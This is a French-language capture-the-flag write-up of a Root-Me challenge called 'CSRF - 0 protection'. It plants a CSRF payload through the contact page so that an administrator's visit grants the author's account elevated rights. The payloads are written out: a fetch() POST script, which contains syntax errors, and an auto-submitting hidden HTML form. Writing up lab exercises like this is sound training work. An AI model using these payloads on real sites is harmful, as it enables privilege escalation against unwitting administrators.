Skip to main content

CSRF - 0 protection

· 2 min read
  • une page de login
  • une page de registration
  • une page de gestion de profil
  • une page de contact de l'administrateur
note

On nous dit que l'administrateur peut voir les postes issues de la page de contact. Nous pouvons peut etre esperer XSS / redirection.

la page de gestion de profil contient un formulaire permettant de modifier le nom et les droits de l'utilisateur.
Cette page est visible par le détenteur du compte mais le formulaire n'est pas éditable, car nous ne somme pas administrateur. Il n'y a pas de token CSRF sur cette page, par consequent, nous potentiellement inciter l'administrateur à cliquer sur un lien malicieux.
Ce lien enverrai le formulaire en cochant la checkbox "status:" et en renseignant le nom d'utilisateur "aze"

deux solutions:

  • s'appuyer sur une faille XSS de la page de contact pour effectuer une redirection javascript / validation du formulaire POST

  • s'appuyer sur une faille XSS de la page de contact pour effectuer une redirection vers un site externe sur lequel il faudrait envoyer le formulaire POST

  • POST

  • username:

  • status:

<script>
fetch("http://challenge01.root-me.org/web-client/ch22/?action=profiles", {
method: "POST",
body: JSON.stringify({
username: aze,
status: "on";
}),
headers: {
"Content-type": "application/json; charset=UTF-8"
}
});
</script>

dans le cas ou l'html n'est pas escaped, on peut directement construire le formulaire et l'envoyer.

<form name="badform" method="POST"
action="http://challenge01.root-me.org/web-client/ch22/?action=profile">
<input type="hidden" name="username" value="aze">
<input type="hidden" name="status" value="on">
</form>
<script>document.badform.submit()</script>

note

Envoi de celui-ci à 15h40, attente de visite par l'administrateur.

success

15h41

Good job! flag is .....

tip

Pas besoin de chercher trop loin à faire des requestes en Javascript quand aucun escaping n'est effectué !
Pas non plus besoin de rediriger l'administrateur vers un autre formulaire crafté sur un site exterieur. !
Il suffit de crafter un formulaire directement dans un input (quand possible bien sur)